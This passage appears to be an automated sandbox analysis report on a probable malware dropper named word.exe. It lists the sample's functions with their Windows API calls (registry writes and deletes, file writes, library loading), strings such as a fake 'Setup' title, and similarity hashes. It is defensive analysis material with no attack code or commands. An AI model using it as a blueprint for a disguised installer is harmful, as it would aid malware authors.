CharNextA.USER32(?), ref: 00405E64
CharPrevA.USER32(?,?), ref: 00405E74

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DFB, 00405E00
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00405E36
*?|<>/":, xrefs: 00405E42

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\word.exe
API String ID: 589700163-2943609387
Opcode ID: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction ID: 8fb4f4a5a46673644b6d17db89182f96b33943a1441b7055d0135b6347a17e40
Opcode Fuzzy Hash: ce236f4316dc44970b3d4854ee077085f8211c330c8e5a50d5c3ec65e4e49f20
Instruction Fuzzy Hash: 0411B971804A9029EB321734DC44B7B7F88CB9A7A0F18447BD9D4722C2D67C5E429BED

Uniqueness

Uniqueness Score: -1.00%

Function 00403EBB Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403ED8
GetSysColor.USER32 ref: 00403EF4
SetTextColor.GDI32(?,00000000), ref: 00403F00
SetBkMode.GDI32(?,?), ref: 00403F0C
GetSysColor.USER32 ref: 00403F1F
SetBkColor.GDI32(?,?), ref: 00403F2F
DeleteObject.GDI32(?), ref: 00403F49
CreateBrushIndirect.GDI32(?), ref: 00403F53

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction ID: 51638b03811fbd3f25a4eb1d810876b9f584da0c3187da66c7daa715c1b02470
Opcode Fuzzy Hash: c17ffa4718e249222cf94fd394cb2cb31c18988dc7419d15a412fba3cf9ed351
Instruction Fuzzy Hash: 08218471904745ABCB219F78DD08B4BBFF8AF05715B048629F856E22E0D734E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 004026AF Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,0000EA00,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402703
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040271F
GlobalFree.KERNEL32(?), ref: 00402758
WriteFile.KERNEL32(?,00000000,?,?), ref: 0040276A
GlobalFree.KERNEL32(00000000), ref: 00402771
CloseHandle.KERNEL32(?), ref: 00402789
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction ID: c2c7835655fcdbd4aa1197060f7bd229eae72b48ff88aadc8082708ad166979d
Opcode Fuzzy Hash: 86c275f08be09aec70893b32aeacbca8804cc45ae7d70b5d5ba6e64a6a3d4a6c
Instruction Fuzzy Hash: 9A31AD71C00128BBCF216FA5DE88DAEBA79EF04364F14423AF924762E0C67949418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00404E84 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
SendMessageA.USER32 ref: 00404F18
SendMessageA.USER32 ref: 00404F32
SendMessageA.USER32 ref: 00404F40

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction ID: 29716f0e6f05b21b32fe67f81276caf5577c11483a64657c7043e00463a136c9
Opcode Fuzzy Hash: 71e37258a37026cf273fcfa99aead3f8e91a2c4ccac8b3bb5b1c98b8a192fec2
Instruction Fuzzy Hash: 21218EB1900118BBDF119FA5DC849DFBFB9FB44354F10807AF904A6290C7789E418BA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404753 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 0040476E
GetMessagePos.USER32 ref: 00404776
ScreenToClient.USER32(?,?), ref: 00404790
SendMessageA.USER32 ref: 004047A2
SendMessageA.USER32 ref: 004047C8

Strings

f, xrefs: 004047A4

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction ID: b5292072505f589c3e6e61736795eac3e8b5c463abbfbac9e5f2f3c06e421abf
Opcode Fuzzy Hash: 3eee6e6f27995ada1ce6a04a907356a17faffc15d7d88bba2040e0493be19c46
Instruction Fuzzy Hash: BE015275D00219BADB00DB94DC45BFEBBBCAB55715F10412BBB10B71C1C7B465418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B6E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B89
MulDiv.KERNEL32 ref: 00402BB4
wsprintfA.USER32 ref: 00402BC4
SetWindowTextA.USER32(?,?), ref: 00402BD4
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BE6

Strings

verifying installer: %d%%, xrefs: 00402BBE

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction ID: c6984150c403b35497dc18a40ce28a5dc8b104db4e9527dfc76b44ca96ff41d6
Opcode Fuzzy Hash: 82db8536561177d1b172f5ac56095865a7e50fae45f9622e7ddcc8e846317807
Instruction Fuzzy Hash: 5D01FF70A44208BBEB209F60DD49EEE3769FB04345F008039FA06A92D1D7B5AA558F99

Uniqueness

Uniqueness Score: -1.00%

Function 00402A69 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00000000,?), ref: 00402A8A
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AC6
RegCloseKey.ADVAPI32(?), ref: 00402ACF
RegCloseKey.ADVAPI32(?), ref: 00402AF4
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402B12

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction ID: fd754328231b90d3809392cacc3778cc58b9849b8c5c25df110c081a09ace752
Opcode Fuzzy Hash: 5d0b6e0ce49e1b9a68b8278243b858d166325889e329a7d8d46ece79ca10f327
Instruction Fuzzy Hash: 29116D71A0000AFEDF219F90DE49DAE3B79FB14345B104076FA05A00E0DBB89E51AFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401CDE Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CE2
GetClientRect.USER32 ref: 00401CEF
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D10
SendMessageA.USER32 ref: 00401D1E
DeleteObject.GDI32(00000000), ref: 00401D2D

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: b6dc52a7f50dc5a5b8d69a970bc0364d2e288b966cb10631b9234e7e7e1bdde9
Instruction ID: 6b5de524c76fb4cd20547a313357388a8ed9b6ad8842e2156e420fd608a0a23d
Opcode Fuzzy Hash: b6dc52a7f50dc5a5b8d69a970bc0364d2e288b966cb10631b9234e7e7e1bdde9
Instruction Fuzzy Hash: 75F0EC72A04118AFD701EBA4DE88DAFB77CFB44305B14443AF501F6190C7749D019B79

Uniqueness

Uniqueness Score: -1.00%

Function 00404649 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00420538,00420538,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404564,000000DF,00000000,00000400,?), ref: 004046E7
wsprintfA.USER32 ref: 004046EF
SetDlgItemTextA.USER32(?,00420538), ref: 00404702

Strings

%u.%u%s%s, xrefs: 004046D1

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction ID: 33c490f36d39f428f4b6feb88c055206d8f5fbd89635bf607d329e374d543c8d
Opcode Fuzzy Hash: 9ec326ac30901ad515aaf80f2404a58f9bab4133aba90e091d0e9c932beca6f7
Instruction Fuzzy Hash: 5A11D873A0512437EB0065699C41EAF329CDB82335F150637FE26F31D1E9B9DD1145E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageA.USER32 ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction ID: 8eb34b9659dedbc099cc11ce9bc18cab6bc834bdcc036981f8d30f042af137bc
Opcode Fuzzy Hash: 5e155985e8b695c365f3075347fc5cad64183b83899d6bbba3f89d2116927a25
Instruction Fuzzy Hash: C621A171A44149BEEF02AFF4C94AAEE7B75EF44704F10407EF501BA1D1DAB88A40DB29

Uniqueness

Uniqueness Score: -1.00%

Function 004038B4 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,nrdosueajqjitn Setup), ref: 0040394C

Strings

1033, xrefs: 004038B8, 004038C2, 00403933
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004038B5
nrdosueajqjitn Setup, xrefs: 0040393B

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Roaming\word.exe$nrdosueajqjitn Setup
API String ID: 530164218-1150146568
Opcode ID: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction ID: 9405f6c8d043b7fcf606726b90d8bdb5e10644d2b1bbff0bcd5da451eaf68503
Opcode Fuzzy Hash: efc42492ee7b8a51a3ec7fa34d8682ca64c79934ee229eb602048578ff3af0eb
Instruction Fuzzy Hash: D211CFB1F006119BC7349F15E88093777BDEB89716369817FE801A73E0D67DAE029A98

Uniqueness

Uniqueness Score: -1.00%

Function 0040568B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030E8,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00403289), ref: 00405691
CharPrevA.USER32(?,00000000), ref: 0040569A
lstrcatA.KERNEL32(?,00409010), ref: 004056AB

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040568B

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4017390910
Opcode ID: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction ID: e5ee9c2d52b027f92723a61f0ff242ac356e57f7af316d882355b101730f0027
Opcode Fuzzy Hash: e3dc442850fe5195f819a2e9cc08a879faccac673fa9b112cfeaaf00c09b2b73
Instruction Fuzzy Hash: 05D0A972606A302AE60227158C09F8B3A2CCF02321B040462F540B6292C2BC7D818BEE

Uniqueness

Uniqueness Score: -1.00%

Function 00401F84 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401FAF

Part of subcall function 00404E84: lstrlenA.KERNEL32(0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FBE,0041FD10,00000000,0040F0E0,00000000,?,?,?,?,?,?,?,?,?,00402FBE,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0041FD10,00402FBE,00402FBE,0041FD10,00000000,0040F0E0,00000000), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0041FD10,0041FD10), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32 ref: 00404F40

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FBF
GetProcAddress.KERNEL32(00000000,?,?,00000008,00000001,000000F0), ref: 00401FCF
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040203A

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 50cd007fc7b77623f8c7ad5bc39ef5e257e3bb497f63aa12232a7c38023ecf07
Instruction ID: 27648393275eec621602a0353e8cc2bfbc6c1dadd98057bfccdba155e6fc7477
Opcode Fuzzy Hash: 50cd007fc7b77623f8c7ad5bc39ef5e257e3bb497f63aa12232a7c38023ecf07
Instruction Fuzzy Hash: 07215732D04215ABDF216FA48F4DAAE7970AF44354F60423FFA11B22E0CBBC4981D65E

Uniqueness

Uniqueness Score: -1.00%

Function 00402336 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,00000000,?,?), ref: 00402374
lstrlenA.KERNEL32(0040A410,00000023,?,?,?,00000000,?,?,?,00000011,00000002), ref: 00402394
RegSetValueExA.ADVAPI32(?,?,?,?,0040A410,00000000), ref: 004023CD
RegCloseKey.ADVAPI32(?), ref: 004024B0

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 9bf654010a188213ed9da3fb996897beb0b6485406045e6761b6e0bfc6b57b1d
Instruction ID: e6eb4e552242eddf296ff96e6d07a7eb6613d299afeb9756830ee7ce8f9eb162
Opcode Fuzzy Hash: 9bf654010a188213ed9da3fb996897beb0b6485406045e6761b6e0bfc6b57b1d
Instruction Fuzzy Hash: 7111A271E00108BFEB10EFA5DE8DEAF7678EB40758F10443AF505B31D0C6B85D419A69

Uniqueness

Uniqueness Score: -1.00%

Function 0040571F Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CharNextA.USER32(004054D1), ref: 0040572D
CharNextA.USER32(00000000), ref: 00405732
CharNextA.USER32(00000000), ref: 00405741

Strings

C:\, xrefs: 00405720

Memory Dump Source

